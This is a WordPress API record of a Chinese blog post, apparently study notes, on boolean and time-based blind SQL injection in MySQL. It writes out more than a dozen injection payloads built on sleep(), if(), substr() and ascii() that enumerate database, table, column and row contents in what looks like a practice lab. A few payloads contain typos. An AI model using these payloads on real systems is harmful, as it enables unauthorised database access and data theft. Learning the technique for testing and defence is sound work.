{"id":160,"date":"2025-01-17T22:33:49","date_gmt":"2025-01-17T14:33:49","guid":{"rendered":"http:\/\/gzxingyu.cloud\/?p=160"},"modified":"2025-01-17T22:39:18","modified_gmt":"2025-01-17T14:39:18","slug":"__trashed-7","status":"publish","type":"post","link":"http:\/\/gzxingyu.cloud\/index.php\/2025\/01\/17\/__trashed-7\/","title":{"rendered":"02 \u76f2\u6ce8—\u5e03\u5c14\u3001\u65f6\u95f4"},"content":{"rendered":"

\u76f2\u6ce8\u662f\u6ce8\u5165\u7684\u4e00\u79cd\uff0c\u6307\u7684\u662f\u5728\u4e0d\u77e5\u9053\u6570\u636e\u5e93\u8fd4\u56de\u503c\u7684\u60c5\u51b5\u4e0b\u5bf9\u6570\u636e\u4e2d\u7684\u5185\u5bb9\u8fdb\u884c\u731c\u6d4b\uff0c\u5b9e\u65bdSQL\u6ce8\u5165\u3002\u76f2\u6ce8\u4e00\u822c\u5206\u4e3a==\u5e03\u5c14\u76f2\u6ce8==\u548c\u57fa\u4e8e==\u65f6\u95f4\u7684\u76f2\u6ce8==\u548c\u62a5\u9519\u7684\u76f2\u6ce8\u3002<\/p>\n

\u5e03\u5c14\u76f2\u6ce8<\/h3>\n

1.\u4ec0\u4e48\u662f\u5e03\u5c14\u76f2\u6ce8\uff1f<\/h4>\n

\u5229\u7528\u573a\u666f\u662f\u7f51\u7ad9\u5bf9SQL\u6ce8\u5165\u6709\u9632\u62a4\uff0c==\u4e0d\u76f4\u63a5\u8fd4\u56de\u6570\u636e==\u3002\u64cd\u4f5c\u6b65\u9aa4\u5305\u62ec\u5bfb\u627e\u6ce8\u5165\u70b9\u3001\u6784\u9020\u5e03\u5c14\u8bed\u53e5\u731c\u89e3\u4fe1\u606f\uff08\u5982\u6570\u636e\u5e93\u540d\u957f\u5ea6\u548c\u5b57\u7b26\uff09\u3002<\/p>\n

Web\u7684\u9875\u9762\u7684\u4ec5\u4ec5\u4f1a\u8fd4\u56deTrue\u548cFalse\u3002\u90a3\u4e48\u5e03\u5c14\u76f2\u6ce8\u5c31\u662f\u8fdb\u884cSQL\u6ce8\u5165\u4e4b\u540e\u7136\u540e\u6839\u636e\u9875\u9762\u8fd4\u56de\u7684True\u6216\u8005\u662fFalse\u6765\u5f97\u5230\u6570\u636e\u5e93\u4e2d\u7684\u76f8\u5173\u4fe1\u606f\u3002<\/p>\n

\u8fd4\u56deFalse\u65f6\uff1a<\/p>\n

\u8fd4\u56deTrue\u65f6\uff1a<\/p>\n

\"image.png\"<\/div><\/p>\n

2.\u5982\u4f55\u8fdb\u884c\u5e03\u5c14\u76f2\u6ce8\uff1f<\/h4>\n

\u6ce8\u5165\u6d41\u7a0b\uff1a<\/p>\n

\u5e03\u5c14\u76f2\u6ce8\u9700\u8981\u7528\u5230\u7684\u51fd\u6570\uff1a<\/p>\n

Length()\u00a0\u00a0\u00a0 \u8fd4\u56de\u5b57\u7b26\u4e32\u7684\u957f\u5ea6<\/p>\n

Substr()\u00a0\u00a0\u00a0 \u622a\u53d6\u5b57\u7b26\u4e32<\/p>\n

Ascii()\u00a0\u00a0\u00a0\u00a0\u00a0 \u8fd4\u56de\u5b57\u7b26\u7684ascii\u7801<\/p>\n

sleep(n)\uff1a\u5c06\u7a0b\u5e8f\u6302\u8d77\u4e00\u6bb5\u65f6\u95f4 n\u4e3an\u79d2<\/p>\n

if(expr1,expr2,expr3):\u5224\u65ad\u8bed\u53e5 \u5982\u679c\u7b2c\u4e00\u4e2a\u8bed\u53e5\u6b63\u786e\u5c31\u6267\u884c\u7b2c\u4e8c\u4e2a\u8bed\u53e5\u5982\u00a0 \u679c\u9519\u8bef\u6267\u884c\u7b2c\u4e09\u4e2a\u8bed\u53e5<\/p>\n

length()<\/h5>\n

\u5f53\u524d\u6570\u636e\u5e93\u957f\u5ea6\u4e3a8
\n

\"Pasted<\/div><\/p>\n

\u4f7f\u7528\u5e03\u5c14\u76f2\u6ce8
\n

\"Pasted<\/div>
\n
\"Pasted<\/div><\/p>\n
Substr()<\/h5>\n

\"Pasted<\/div><\/p>\n
Ascii()<\/h5>\n

\u7b2c\u4e00\u4e2a\u5b57\u6bcdascii\u7801\u4e3a115—-s
\n

\"Pasted<\/div><\/p>\n

\"Pasted<\/div>
\n
\"Pasted<\/div><\/p>\n

\u67e5\u8be2mamba\u6570\u636e\u5e93\u91cc\u7b2c\u4e00\u4e2a\u8868\u7684\u957f\u5ea6
\nand (length((select table name from
\ninformation schema.tables where
\ntable schema=’mamba’ limit 0,1)))=4%23
\n

\"Pasted<\/div>
\n\u76f2\u6ce8\u731c\u6d4b\u7b2c\u4e00\u4e2a\u8868\u7684\u7b2c\u4e00\u4e2a\u5b57\u6bcd\u4e3a—u
\n\uff08limit 0\uff0c1 \u4e2d0\u6307\u7b2c\u4e00\u4e2a\u8868\uff09
\nand (substr((select table name from
\ninformation schema.tables where
\ntable schema=’mamba’ limit 0,1),1,1))=’u’%23
\n
\"Pasted<\/div>
\n\u7b2c\u4e8c\u4e2a\u5b57\u6bcd\u4e3a—s
\nand (substr((select table name from
\ninformation schema.tables where
\ntable schema=’mamba’ limit 0,1),2,1))=’s’%23<\/p>\n

\u83b7\u53d6user\u8868\u4e2d\u5b57\u6bb5\u6570\u91cf
\nand (select count( * )from
\ninformation_schema.columns where
\ntabl_ schema=’security’and
\ntable_name=’users’)=3%23\uff08* \uff0c\u4f1a\u5305\u62eccolumn_name=null\u7684\u884c\uff09<\/p>\n

and (select count(column_name)from
\ninformation_schema.columns where
\ntabl_ schema=’security’and
\ntable_name=’users’)=3%23<\/p>\n

\u65f6\u95f4\u6ce8\u5165<\/h3>\n

1.\u4ec0\u4e48\u662f\u65f6\u95f4\u6ce8\u5165<\/h4>\n

\u7f51\u9875\u6ca1\u6709\u663e\u793a\u4f4d\u4e5f\u6ca1\u6709\u56de\u663e<\/p>\n

\u5ef6\u8fdf\u6ce8\u5165\uff0c\u662f\u4e00\u79cd\u76f2\u6ce8\u7684\u624b\u6cd5,\u00a0\u63d0\u4ea4\u5bf9\u6267\u884c\u65f6\u95f4\u654f\u611f\u7684\u51fd\u6570sql\u8bed\u53e5\uff0c\u901a\u8fc7\u6267\u884c\u65f6\u95f4\u7684\u957f\u77ed\u6765\u5224\u65ad\u662f\u5426\u6267\u884c\u6210\u529f\uff0c\u6bd4\u5982:\u6b63\u786e\u7684\u8bdd\u4f1a\u5bfc\u81f4\u65f6\u95f4\u5f88\u957f\uff0c\u9519\u8bef\u7684\u8bdd\u4f1a\u5bfc\u81f4\u6267\u884c\u65f6\u95f4\u5f88\u77ed\uff0c\u8fd9\u5c31\u662f\u6240\u8c13\u7684\u9ad8\u7ea7\u76f2\u6ce8.SQLMAP\u3001\u7a7f\u5c71\u7532\u3001\u80e1\u841d\u535c\u7b49\u4e3b\u6d41\u6ce8\u5165\u5de5\u5177\u53ef\u80fd\u68c0\u6d4b\u4e0d\u51fa\uff0c\u53ea\u80fd\u624b\u5de5\u68c0\u6d4b\uff0c\u5229\u7528\u811a\u672c\u7a0b\u5e8f\u8dd1\u51fa\u7ed3\u679c<\/p>\n

2.\u65f6\u95f4\u6ce8\u5165\u51fd\u6570<\/h4>\n

sleep()\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0\/\/\u5ef6\u8fdf\u51fd\u6570<\/p>\n

if(condition,true,false)\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0 \/\/\u6761\u4ef6\u8bed\u53e5<\/p>\n

ascii()\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0\/\/\u8f6c\u6362\u6210ascii\u7801<\/p>\n

substring(“string”,strart,length)\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \/\/mid()\u4e5f\u4e00\u6837\uff0c\u53d6\u51fa\u5b57\u7b26\u4e32\u91cc\u7684\u7b2c\u51e0\u4f4d\u5f00\u59cb\uff0c\u00a0 \u957f\u5ea6\u591a\u5c11\u7684\u5b57\u7b26<\/p>\n

If\u8868\u8fbe\u5f0f\uff1aIF(expr1,expr2,expr3)<\/p>\n

\u5982\u679c\u00a0expr1\u00a0\u662fTRUE (expr1 <> 0 and expr1 <> NULL)\uff0c\u5219\u00a0IF()\u7684\u8fd4\u56de\u503c\u4e3aexpr2;\u00a0\u5426\u5219\u8fd4\u56de\u503c\u5219\u4e3a\u00a0expr3<\/p>\n

Length\u00a0 \/\/\u8fd4\u56de\u957f\u5ea6\u51fd\u6570<\/p>\n

sleep() \u5ef6\u8fdf\u51fd\u6570<\/h5>\n

\u5ef6\u8fdf5\u79d2
\n

\"Pasted<\/div><\/p>\n

\u65f6\u95f4\u76f2\u6ce8\u5224\u65ad
\n1.and sleep(5) %23 \u5224\u65ad\u662f\u5426\u5b58\u5728\u5ef6\u8fdf\u6ce8\u5165<\/p>\n

\u9875\u9762\u51fa\u73b0\u5237\u65b0\u4e2d\u7684\u8f6c\u5708\u7684\u56fe\u6807
\n

\"Pasted<\/div><\/p>\n

\"Pasted<\/div><\/p>\n
if(condition,true,false)\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0 \/\/\u6761\u4ef6\u8bed\u53e5<\/h5>\n

2.and if((length(database()))>7,sleep(5),1) –+
\n\u67e5\u8be2\u5f53\u524d\u6570\u636e\u5e93\u7684\u957f\u5ea6\uff0c\u5982\u679c\u6b63\u786e\u90a3\u4e48\u5c31\u5ef6\u8fdf5\u79d2<\/p>\n

3.and if((substr(database(),1,1)=’s’),sleep(5),1) %23
\n\u5224\u65ad\u5f53\u524d\u6570\u636e\u5e93\u540d\u662f\u5426\u4e3as<\/p>\n

ascii()\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0\/\/\u8f6c\u6362\u6210ascii\u7801<\/h5>\n

4.and if((ascii(substr(database(),1,1))=115),sleep(5),1) %23
\n\u7b2c\u4e8c\u79cd \u5224\u65ad\u5f53\u524d\u6570\u636e\u5e93\u540d\u7b2c\u4e00\u4f4dascii\u662f\u5426\u4e3a115<\/p>\n

5.and if((select count( * ) from information_schema.tables where table_schema=’security’)=4,sleep(5),1)%23
\n\u67e5\u8be2\u8868\u6570\u91cf<\/p>\n

6.and if((select length((select table_name from information_schema.tables where table_schema=’security’ limit 3,1))=5),sleep(5),1)%23
\n\u67e5\u8be2\u8868\u540d\u957f\u5ea6<\/p>\n

7.and if((select ascii(substr((select table_name from information_schema.tables where table_schema=’security’ limit 3,1),1,1)))=117,sleep(5),1)%23
\n\u622a\u53d6\u8868\u540d\u7b2c\u4e00\u4f4d<\/p>\n

8.and if(((select count(*) from information_schema.columns where table_schema=’security’ and table_name=’users’)=3),sleep(5),1)%23
\n\u67e5\u8be2\u5217\u5b57\u6bb5\u6570\u91cf<\/p>\n

9.and if((select length((select column_name from information_schema.columns where table_schema=’security’ and table_name=’users’ limit 0,1))=2),sleep(5),1)%23
\n\u67e5\u8be2\u5217\u540d\u957f\u5ea6<\/p>\n

10.and if((select ascii(substr((select column_name from information_schema.columns where table_schema=’security’ and table_name=’users’ limit 0,1),1,1)))=105,sleep(5),1)%23
\n\u622a\u53d6\u5217\u540d\u7b2c\u4e00\u4f4d<\/p>\n

11.and if((select length((select id from users limit 0,1)))=1,sleep(5),1)%23
\n\u67e5\u8be2id\u7b2c\u4e00\u6761\u6570\u636e\u7684\u957f\u5ea6<\/p>\n

12.and if((select ascii(substr((select id from users limit 0,1),1,1)))=49,sleep(5),1)%23
\n\u83b7\u53d6\u6570\u636e\u4fe1\u606f\u5185\u5bb9<\/p>\n","protected":false},"excerpt":{"rendered":"

\u76f2\u6ce8\u662f\u6ce8\u5165\u7684\u4e00\u79cd\uff0c\u6307\u7684\u662f\u5728\u4e0d\u77e5\u9053\u6570\u636e\u5e93\u8fd4\u56de\u503c\u7684\u60c5\u51b5\u4e0b\u5bf9\u6570\u636e\u4e2d\u7684\u5185\u5bb9\u8fdb\u884c\u731c\u6d4b\uff0c\u5b9e\u65bdSQL\u6ce8\u5165\u3002\u76f2\u6ce8\u4e00\u822c\u5206\u4e3a==\u5e03 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5,4],"tags":[6],"class_list":["post-160","post","type-post","status-publish","format-standard","hentry","category-sql","category-web","tag-sql"],"_links":{"self":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/160","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/comments?post=160"}],"version-history":[{"count":2,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/160\/revisions"}],"predecessor-version":[{"id":164,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/160\/revisions\/164"}],"wp:attachment":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/media?parent=160"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/categories?post=160"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/tags?post=160"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}